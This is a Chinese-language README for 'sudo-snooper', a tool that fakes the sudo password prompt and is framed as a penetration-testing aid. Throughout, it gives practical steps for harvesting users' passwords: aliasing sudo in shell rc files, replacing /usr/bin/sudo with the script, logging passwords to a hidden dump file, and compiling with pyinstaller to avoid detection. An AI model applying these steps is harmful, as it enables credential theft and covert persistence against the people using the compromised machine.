sudo-snooper 的行为类似于原始的 sudo 二进制文件,旨在诱骗用户输入其密码。
它会向用户显示一个与原始 sudo 相似的虚假提示,要求输入 sudo 密码。
这在渗透测试或安全评估中可用于测试用户的安全意识。
此选项更易于操作且可移植性更强,但细心的用户可能会察觉。
编辑用户所使用的 shell 的 rc 文件(可以是 .bashrc、.zshrc 等),并添加以下内容:
alias sudo='python3 /path/to/sudo-snooper.py'
确保 sudo-snooper.py 具有正确的权限。
此安装选项需要 root 权限
此方法仅在以下情况下有用:你已拥有 root 权限,但由于某种原因无法破解 /etc/shadow 中的哈希值。基本上,你可以通过钓鱼的方式获取用户的密码。
# mv /usr/bin/sudo /usr/bin/somename
在 sudo-snooper.py 中更改以下内容:
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
# install -dm755 sudo-snooper.py /usr/bin/sudo
为 Python 文件授予必要的权限
你可以在此处进行更高级的设置,例如将可执行文件设为用户不可读,但我不打算深入探讨。请参考此处的一些答案。
注意:一种更具说服力的安装方式是使用 pyinstaller 编译此脚本,这样当执行 file /usr/bin/sudo 时,它不会显示为 Python 文件。
在 Archlinux 下执行:pyinstaller --onefile sudo-snooper.py 即可完成。但请注意,一旦编译,你将无法更改编译后二进制文件中的参数。
安装完成后,sudo-snooper 可以像普通 sudo 一样被调用。
例如,运行
sudo vim /etc/resolv.conf
将调用 sudo-snooper(假设已正确安装)。
它会要求用户输入密码,如果密码正确,则通过重定向到真正的 sudo 二进制文件来执行命令。
随后,你可以通过读取设置中指定的转储文件来获取用户密码。